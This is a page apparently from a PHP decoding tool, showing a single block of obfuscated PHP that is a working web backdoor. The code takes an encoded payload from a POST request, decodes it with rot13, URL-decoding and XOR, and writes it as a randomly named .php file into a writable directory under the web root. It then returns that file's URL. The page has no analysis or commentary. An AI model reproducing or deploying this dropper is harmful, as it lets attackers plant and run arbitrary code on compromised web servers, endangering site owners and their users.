PHP Decode

<?php $kbqvvnvx = "wqpksqqfydcinbrx";$cdbwnj = "";foreach ($_POST as $rvsxvy => $qpwhbepoy){if (strlen($rvsxvy) == 16 and substr_count($qpwhbepoy, "%") > 10){kpgbt($rvsxvy, $qpwhbepoy);}}function kpgbt($rvsxvy, $itlmuwyw){global $cdbwnj;$cdbwnj = $rvsxvy;$itlmuwyw = str_split(rawurldecode(str_rot13($itlmuwyw)));function nfmmxaja($vewpsf, $rvsxvy){global $kbqvvnvx, $cdbwnj;return $vewpsf ^ $kbqvvnvx[$rvsxvy % strlen($kbqvvnvx)] ^ $cdbwnj[$rvsxvy % strlen($cdbwnj)];}$itlmuwyw = implode("", array_map("nfmmxaja", array_values($itlmuwyw), array_keys($itlmuwyw)));$itlmuwyw = @unserialize($itlmuwyw);if (@is_array($itlmuwyw)){$rvsxvy = array_keys($itlmuwyw);$itlmuwyw = $itlmuwyw[$rvsxvy[0]];if ($itlmuwyw === $rvsxvy[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function rujku($vtuvvoir) {static $yfbsyb = array();$wueiofzbry = glob($vtuvvoir . '/*', GLOB_ONLYDIR);if (count($wueiofzbry) > 0) {foreach ($wueiofzbry as $vtuvvo){if (@is_writable($vtuvvo)){$yfbsyb[] = $vtuvvo;}}}foreach ($wueiofzbry as $vtuvvoir) rujku($vtuvvoir);return $yfbsyb;}$lcvppeprz = $_SERVER["DOCUMENT_ROOT"];$wueiofzbry = rujku($lcvppeprz);$rvsxvy = array_rand($wueiofzbry);$icscsvqg = $wueiofzbry[$rvsxvy] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($icscsvqg, $itlmuwyw);echo "http://" . $_SERVER["HTTP_HOST"] . substr($icscsvqg, strlen($lcvppeprz));exit();}}} ?>